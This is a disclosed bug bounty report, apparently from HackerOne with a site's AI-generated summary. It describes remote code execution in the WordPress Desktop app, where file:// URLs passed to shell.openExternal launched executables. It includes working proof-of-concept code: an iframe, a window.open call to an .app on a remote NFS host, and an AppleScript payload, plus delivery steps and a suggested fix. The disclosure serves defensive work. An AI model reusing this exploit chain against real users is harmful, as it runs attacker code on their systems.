Remote Code Execution in Wordpress Desktop
The WordPress Desktop app passed file:// URLs to shell.openExternal, which would open them in the default native application, allowing execution of .app or .exe files. An attacker could create a malicious WordPress page that, when viewed or edited in the desktop app, would execute arbitrary code on the victim's system.
Originally disclosed on HackerOne
- Fixed in 2 months
- Paid in 2 months
- Disclosed after 3 months
An attacker can create a malicious page that when viewed or edited in Wordpress Desktop App will results in remote code execution.
This issue looks to be around this line of code: https://github.com/Automattic/wp-desktop/blob/develop/desktop/window-handlers/external-links/index.js#L38
If shell.openExternal is sent a file:// url it will try to open that file in the default native application (instead of the default browser). If we pass the an a .app file on MacOS or an exe it will just execute the code.
We also link to a remote readable NFS mount (or windows share) to point to a remote executable.
A Wordpress page is created with:
<center><iframe style="border: 0;" src="https://maustin.net/hax/wp_desktop/index.html" width="250" height="250"></iframe></center>
This file has the following code:
<script>
// window.open('file:///Applications/Calculator.app');
window.open('file:///net/192.241.239.91/var/nfs/general/hack2.app')
</script>
The file at file:///net/192.241.239.91/var/nfs/general/hack2.app is a simple applescript Application with the following code:
tell application "Terminal"
do script "cat /etc/hosts"
display dialog "You just got hacked!"
end tell
do shell script "open -a Calculator"
POC
- Create the setup described above.
- Invite any wordpress.com user to edit. (or wait for them to follow you and click on your site in the "reader")
- Code is executed when the user views the page.
See attached video for a working POC.
Sugested Fix:
Before passing a url to shell.openExternal the application should validate that it begins with http:// or https://.
Impact
An attacker could target any individual with a wordpress.com account by inviting them to be an editor. When they simply view the page in the desktop application the code would run.
The remote attacker would be able to run any code as the current user on the system once the page is viewed.
In my testing I used a remote wordpress blog (with jetpack) so that I would be able to add an iframe. However I believe with a Business account a custom wordpress plugin could achieve the same result on a wordpress.com hosted account.
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The application did not validate that URLs passed to shell.openExternal used http:// or https://, allowing file:// URLs to launch local executables.
Impact
An attacker could run any code as the current user on the system once the victim views the malicious page in the desktop app.
What the attacker needed
Victim uses WordPress Desktop app; Victim has a WordPress.com account; Attacker can invite victim as editor or get them to view…
How it was found
- Create a WordPress page containing an iframe that loads a malicious HTML file.
- The malicious HTML file uses window.open to open a file:// URL pointing to a remote executable (e.g., an .app on an NFS mount).
- Invite a WordPress.com user to edit the page, or wait for them to follow and click on the site in the reader.
- When the user views the page in the WordPress Desktop app, the code executes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The WordPress Desktop app is a program that lets you manage your WordPress site on your computer. It has a feature that opens links in your normal web browser, but it also allowed opening special file links that run programs. An attacker could trick the app into running a harmful program just by showing you a page.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.